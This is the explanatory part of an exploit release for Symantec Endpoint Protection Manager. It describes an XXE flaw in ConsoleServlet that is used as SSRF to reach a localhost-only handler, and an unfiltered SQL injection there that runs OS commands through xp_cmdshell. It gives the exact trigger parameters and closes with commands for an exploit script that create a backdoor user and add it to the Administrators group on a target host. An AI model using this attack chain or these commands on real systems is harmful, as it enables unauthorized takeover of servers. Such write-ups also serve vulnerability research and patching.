Details:  
  
First off, this was a fantastic discovery by Stefan Viehbock. The abuse of the XXE  
injection to force SEPM to exploit itself through a separate SQL injection flaw was  
particularly amusing. I suspect the majority of SEPM users will have it configured  
with the default embedded database, thereby making this a pretty reliable exploit.  
  
So basically what you are looking for with the XXE injection is a vulnerability  
that can be triggered in the ConsoleServlet. When a multipart http request is sent,  
the servlet will use a custom MultipartParser class to handle the individual  
multipart bodies. When a body is encountered that uses a Content-Type of text/xml,  
the Java DocumentBuilder class is used to parse the xml. Since Symantec did not  
disallow declared DTD processing, it is vulnerable to the XXE injection. This  
appears to be a blind XXE, so a better use of the vulnerability is use it for SSRF.  
That leads us to the SQL injection flaw.  
  
Symantec has an http request handler called ConfigServerHandler that is programmatically  
restricted to only handle requests that come from localhost. I guess when they wrote this  
they just assumed that there was never going to be a way to send untrusted input to it  
since it was always going to be controlled by them. I base this guess on the fact that  
there is absolutely no attempt made to validate what input comes in to the  
updateReportingVersion function which shoves it directly into a SQL query unfiltered. In  
order to trigger the SQL injection you just need to send the SQL injection string in the  
"Parameter" url param with the "action" param set to test_av. On a default install of SEPM,  
it uses a SQL Anywhere embedded database. Much like MSSQL, SQL Anywhere has an xp_cmdshell  
stored procedure to run local OS commands. Using this stored procedure, you can compromise  
the server that is running SEPM.  
  
Example Usage:  
python sepm_xxe_exploit.py -t 192.168.1.100 -c "net user myadmin p@ss!23 /add"  
python sepm_xxe_exploit.py -t 192.168.1.100 -c "net localgroup Administrators myadmin /add"
